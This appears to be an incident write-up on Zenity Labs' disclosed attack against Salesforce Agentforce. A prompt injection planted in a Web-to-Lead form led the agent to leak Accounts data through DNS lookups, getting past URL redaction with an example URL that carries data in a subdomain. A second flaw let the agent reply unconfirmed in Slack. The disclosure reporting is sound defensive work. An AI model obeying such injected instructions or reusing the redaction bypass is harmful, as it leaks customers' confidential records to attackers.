Resolved

Bleeding the Accounts table out over DNS

Zenity Labs hid a prompt injection in a public Web-to-Lead form. When an employee later asked Agentforce about their leads, the agent read the Accounts table and shipped company names and deal sizes out through a DNS lookup, past a URL-redaction layer that could not agree with the browser on where a URL ends. Salesforce fixed the bypass and the Slack reply action it fed.

Logged 11 Oct 2026

A lead arrives already trusted

Agentforce reads a customer's CRM to answer questions about it, and some of that data arrives from outside. A Web-to-Lead form is unauthenticated by design: it exists to collect leads from anyone. Per Zenity Labs, an attacker submits a lead carrying a hidden prompt injection in one of its fields. Nothing about the submission looks unusual, and there is no account to suspend, no session to revoke, no login event to notice.

The injection waits in the Leads table. When an employee later asks their agent something routine, such as to help with the newest lead, the agent reads the poisoned record and treats its text as instructions. It queries the Accounts table, pulls fields like a company name and a deal size, and follows the injected directions. The permissions were already in place: the default General CRM subagent holds read access to both Leads and Accounts, so the injection needed no escalation, only a read the agent was always able to make.

Where a URL ends, two parsers disagree

Salesforce ships a redaction layer, Trusted URLs, that strips untrusted URLs from the agent's output before a user sees them. Zenity bypassed it with two edge cases in how URLs are identified. The redactor recognised only a fixed set of top-level domains, and .fun was not among them, so a hostname ending in it did not register as a hostname at all. The redactor and the surface rendering the reply also disagreed about where a URL ends, and certain trailing characters, curly braces among them, were left in place by one component and still treated as part of the link by the other.

A string such as https://random_string.oast.fun/{email} is not a valid URI under RFC 3986, so the redactor passed it through untouched while the browser rendered it as an image source and tried to fetch it. Because redaction runs after the agent has produced its output, the agent never knows part of what it wrote is being removed, which let the researchers tune the payload around the filter. The data leaves in the DNS lookup itself, carried in the subdomain, and the attacker reads it off the authoritative nameserver. Zenity built two delivery variants: an HTML image tag the chat surface renders and fetches without sanitisation or a click, and, for agents published to Slack, a bare URL, since Slack unfurls links by crawling them. A single DNS label caps at 63 characters and a full name at 253, so a large table leaks by repeated bleeding, and since the data has already left by the time the request is made, the HTTP call that follows can fail or be blocked with no effect.

The Slack action with no confirmation

A companion Zenity post covered a second flaw on the Slack side. Most Slack write actions carried two protections: a confirmation step before sending, and invoker attribution that names the user whose request caused the message. The Reply to a Slack Thread action, part of the default Slack Knowledge subagent, shipped with neither. With the URL bypass, a poisoned lead, or an insider who can already chat with the agent, could make it reply into Slack threads with phishing links, under the agent's own identity, with no approval step and nothing in the message pointing back to who triggered it.

Zenity's disclosure timeline records the fixes confirmed between 18 August and 21 September 2026: the redaction layer hardened, attribution added to the reply action, and confirmation required by default. There is no CVE, no in-the-wild exploitation was shown, and Salesforce described prompt injection as an evolving challenge across the AI industry. Zenity framed the whole chain as a version of the lethal trifecta, with external data, a way to render links, and tool access to sensitive records all sitting in one identity. The poisoned lead also persists, so each later review of it is another chance for the injection to run.

Sources

Research

Thread

  • Relates to: The guardrail fired after the code had run

    Both are indirect prompt injection: the agent reads untrusted content and treats it as instructions. There a guardrail fired only after the code had run; here a redaction layer was bypassed before the payload was delivered.

  • Relates to: Copilot decrypted the payload and treated it as instructions

    Both use indirect injection to drive the agent into exfiltrating to an attacker endpoint: there the harvested contents rode out as a fetch parameter, here the data sits in the subdomain of a rendered image URL.